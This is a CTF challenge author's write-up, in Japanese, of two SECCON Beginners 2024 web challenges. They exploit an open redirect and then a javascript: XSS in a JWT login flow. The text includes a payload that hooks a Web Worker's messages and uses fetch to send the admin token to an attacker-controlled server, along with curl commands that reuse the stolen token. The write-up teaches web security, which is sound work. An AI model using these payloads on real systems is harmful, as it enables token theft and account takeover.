SECCON Beginners CTF 2024 [Web] wooorker, wooorker2 作問者writeup

Posted on Jun 16, 2024

SECCON Beginners CTF 2024で出題したWeb問題wooorker、wooorker2の作問者writeupです。

wooorker(難易度 beginner)

フロントエンド側のOpen Redirect脆弱性を悪用する問題です。

バックエンド側のapp/server.jsではログイン時にJWTを発行します。JWTはJSON形式でデータを持つことができ、改ざんの有無が検証できる文字列です。詳細はこちらのスライド資料をご参照ください。

ユーザーはguestadminが存在しており、guestがログインした際にはisAdminfalseのJWTが発行され、adminがログインした際にはisAdmintrueのJWTが発行されます。

const users = {
  admin: { password: ADMIN_PASSWORD, isAdmin: true },
  guest: { password: 'guest', isAdmin: false }
};

...

app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = users[username];

  if (user && user.password === password) {
    const token = jwt.sign({ username, isAdmin: user.isAdmin }, jwtSecret, { expiresIn: '1h' });
    res.status(200).json({ token });
  } else {
    res.status(401).json({ error: 'Unauthorized' });
  }
});

また、flagを取得するエンドポイントでは送信されたJWTを検証し、isAdmintrueの場合のみflagを返します。

また、JWTの検証部分では検証に用いるアルゴリズムが特に指定されていませんが、jsonwebtokenライブラリの最新版である9.0.2を用いています。試してみるとわかりますが、このバージョンではalg: none攻撃や、RS256 の公開鍵を HS256 の共通鍵として使用する攻撃(参考)はブロックされるため、JWTを改ざんする方向性ではなさそうです。

app.get('/flag', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }
  
  try {
    const decoded = jwt.verify(token, jwtSecret);
    if (decoded.isAdmin) {
      const flag = FLAG;
      res.status(200).json({ flag });
    } else {
      res.status(403).json({ error: 'Access denied' });
    }
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
});

フロントエンド側のapp/public/main.jsではlogin関数を介してログイン処理を行い、JWTを取得します。また、クエリパタメータにnextが含まれており、かつ値にtoken=が含まれない場合にはnextに指定したURLにクエリパラメータtokenとしてJWTを含んだ状態でリダイレクトを行います。

const loginWorker = new Worker('login.js');

function login() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    document.getElementById('username').value = '';
    document.getElementById('password').value = '';
    loginWorker.postMessage({ username, password });
}

loginWorker.onmessage = function(event) {
    const { token, error } = event.data;
    if (error) {
        document.getElementById('errorContainer').innerText = error;
        return;
    }
    if (token) {
        const params = new URLSearchParams(window.location.search);
        const next = params.get('next');

        if (next) {
            window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
        } else {
            window.location.href = `/?token=${token}`;
        }
    }
};

また、今回の問題ではクローラーが存在しており、クローラーはhttps://wooorker.beginners.seccon.games/reportから操作することができます。

クローラーはlogin?next=/を送信すると、https://wooorker.quals.beginners.seccon.jp/login?next=/を踏んでadminとしてログインする仕様となっていいます。そのため、login?next=[リクエストを受信するサーバ]を送信することでadminのJWTがクエリパラメータtokenに付与された状態でリダイレクトがなされます。

リクエストを受信するサーバとしてはRequest Binなどのサービスを利用することができます。

Request Binを利用する場合は、login?next=https://[yours].m.pipedream.netをクローラーに送信することで、adminのJWTが得られます。

report

Request Binに送信されたリクエストにはクエリパラメータにJWTが含まれています。

token

実際にjwt.ioなどでJWTをデコードすると、isAdmintrueになっていることが確認できます。

decode

そして取得したJWTを用いて、https://wooorker.beginners.seccon.games/?token=[取得したJWT]にアクセスするとflagが得られます。

flag1

直接/flagエンドポイントからflagを得る場合は、以下のようにして取得できます。

curl -H "Authorization: Bearer [取得したJWT]" https://wooorker.beginners.seccon.games/flag   
{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}% 

wooorker2(難易度 medium)

wooorker2もwooorkerとほとんど同じソースコードが与えられますが、wooorkerとの違いとして、リダイレクト時にJWTがクエリパラメータではなくハッシュで渡される点があります。

以下はwooorker、wooorker2におけるapp/public/main.jsの差分です。

22c22
<             window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
---
>             window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
24c24
<             window.location.href = `/?token=${token}`;
---
>             window.location.href = `/#token=${token}`;

ハッシュで指定したパラメータはクエリパラメータとは異なり、バックエンド側に送信されません。そのため、クローラーにlogin?next=[リクエストを受信するサーバ]を送信してもadminのJWTを受け取ることはできません。

if (next) {
    window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
} else {
    window.location.href = `/#token=${token}`;
}

wooorkerの解説では触れていませんでしたが、クエリパラメータnextがそのままlocation.hrefに渡されているため、nextjavascript:alert(1)などを渡すことで、XSSによるJavaScriptの実行は可能です。

そこで、JavaScriptによってadminのパスワードを直接DOM要素から取得することを試みますが、フォームの入力は削除されるため取得することはできません。

function login() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    document.getElementById('username').value = '';
    document.getElementById('password').value = '';
    loginWorker.postMessage({ username, password });
}

main.jsを改めて見直すとユーザー名とパスワードをバックエンドに送信し、JWTを受信する処理はloginWorkerというWorker内で行われることがわかります。Workerはバックグラウンドでタスクを実行できるものであり、作成元にメッセージを送り返すことができます(参考)。

const loginWorker = new Worker('login.js');

login.jsは以下であり、受け取ったJWTをmain.jsWorker.postMessage()経由で送信します。

let username, password;

onmessage = async function(event) {
    if(!username) username = event.data.username;
    if(!password) password = event.data.password;

    try {
        const response = await fetch('/login', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ username, password })
        });
        const result = await response.json();

        if (response.ok) {
            postMessage({ token: result.token });
        } else {
            postMessage({ token: '', error: result.error });
        }
    } catch (error) {
        postMessage({ token: '', error: 'Error logging in.' });
    }
};

そこで、XSSによりloginWorkerからのJWTを含むメッセージを受信するリスナーを設置することを考えます。

usernamepasswordはWorker内で保存されているため、login関数を再度呼び出せばログインすることは可能です。

以下をクローラーに送信することでloginWorkerからのメッセージを受信するリスナーを設置し、login関数を呼び出して、リスナーが受け取ったadminのJWTを自身のサーバに送信することができます。

login?next=javascript:loginWorker.onmessage=function(event){fetch(`[リクエストを受信するサーバ]?token=${event.data.token}`)};login();

そして取得したJWTを用いて、https://wooorker2.beginners.seccon.games/#token=[取得したJWT]にアクセスするとflagが得られます。

flag2

curl -H "Authorization: Bearer [取得したJWT]" https://wooorker2.beginners.seccon.games/flag   
{"flag":"ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}"}%   

おわりに

wooorker、wooorker2については競技開始後にしばらく502エラーが返される状況が続いたり、クローラーの処理が滞る問題があったりとご迷惑をおかけしました。

余談: 自分は初めて参加したSECCON Beginners CTFでは一問も解くことができず、悔しすぎて半泣きになっていた思い出があります。